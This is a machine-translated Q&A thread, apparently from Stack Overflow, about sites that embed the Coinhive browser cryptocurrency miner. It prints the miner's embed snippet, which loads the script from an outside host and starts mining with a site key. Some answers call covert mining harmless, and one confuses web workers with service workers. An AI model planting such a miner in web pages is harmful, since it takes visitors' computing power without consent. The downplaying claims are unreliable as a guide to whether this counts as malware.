Javascript 使用比特币矿工脚本的站点

Javascript 使用比特币矿工脚本的站点,javascript,web,malware,Javascript,Web,Malware,我发现我的一些用户访问的网站代码中似乎有比特币挖掘JS脚本: <script src = "hxxps://coin-hive.com/lib/coinhive.min.js"></script><script> var miner = new CoinHive.Anonymous('3858f62230ac3c915f300c664312c63f'); miner.start(); </script> var miner=new CoinHi

我发现我的一些用户访问的网站代码中似乎有比特币挖掘JS脚本:

<script src = "hxxps://coin-hive.com/lib/coinhive.min.js"></script><script>
var miner = new CoinHive.Anonymous('3858f62230ac3c915f300c664312c63f');
miner.start();
</script>

var miner=new CoinHive.Anonymous('3858f62230ac3c915f300c664312c63f');
miner.start();
我的问题是,即使用户离开页面,他们是否仍然受到感染?这些程序是否仅在用户在浏览器中打开页面时才起作用

有了这些,即使用户离开了网络,他们仍然受到感染 那一页

没有

这些程序只有在用户打开页面时才能工作吗 在浏览器中

是的,当页面在浏览器中打开时,脚本将仅在包含它的网站上运行

升级:

有关此脚本的详细信息:

Coinhive为Monero区块链(…)提供了一个JavaScript miner,您可以将其嵌入您的网站您的用户直接在浏览器中运行miner

矿工会一直运行,直到您再次明确停止它或用户停止 导航离开


Coinhive似乎不是“恶意软件”,因为它似乎不会对用户的计算机做任何特别有害的事情。如果是这样的话,用户的电脑从来没有“感染”过任何东西

如今,网站在后台加载大量第三方脚本和cookie,并在每次使用互联网时做数百件你不知道的事情,这是非常常见的。大多数网站在你访问时都会加载谷歌分析跟踪脚本,即使你没有授权他们这么做。但这不会被视为恶意软件。大多数网站都会加载持久的第三方cookie,这些cookie可以跟踪你在一个网站到另一个网站的状态,并创建你的在线习惯的大量档案。这就是为什么你可以在一个网站上购买鞋子,然后突然发现Facebook正在为你提供鞋子广告。但这通常也不被认为是恶意软件


就“伤害”或“不想要的活动”而言,持续跟踪可以说比硬币挖掘脚本更具侵入性。coin mining脚本可能只是使用了最终用户计算机的一些内存和CPU能力,这与在后台加载的数百个javascript库没有什么不同。

我不熟悉coin hive服务,但实际上,您提供的脚本包含以下行:

    var JobThread = function() {
            this.worker = new Worker(CoinHive.CRYPTONIGHT_WORKER_BLOB);
            this.worker.onmessage = this.onReady.bind(this);
            ...
    };
正如你看到的,它正在使用工人。我并没有对整个脚本进行调查,但无论如何,使用web workers意味着即使在页面关闭后,某些操作也可以运行。更多信息请参阅本节

所以,您的问题的第一个答案是肯定的,用户可能会在页面关闭后一段时间内受到感染(理论上,如果脚本是以这种方式编写的)

但实际上,脚本似乎很快就被系统本身终止了。此外,coin hive平台不会被定位为恶意软件,应该对系统用户是安全的。
我认为你根本不应该担心这一点。

分别为否和是。了解服务工作者,它可以提供一定程度的持久性(也可以滥用以提供更多)。谢谢@SLaks,我查看了页面和js脚本,可以看到它没有使用服务工作者。不过,为了未来,了解它们是件好事。它会使用它们。检查我的答案。@ArtemArkhipov:你把网络工作者和服务工作者搞混了。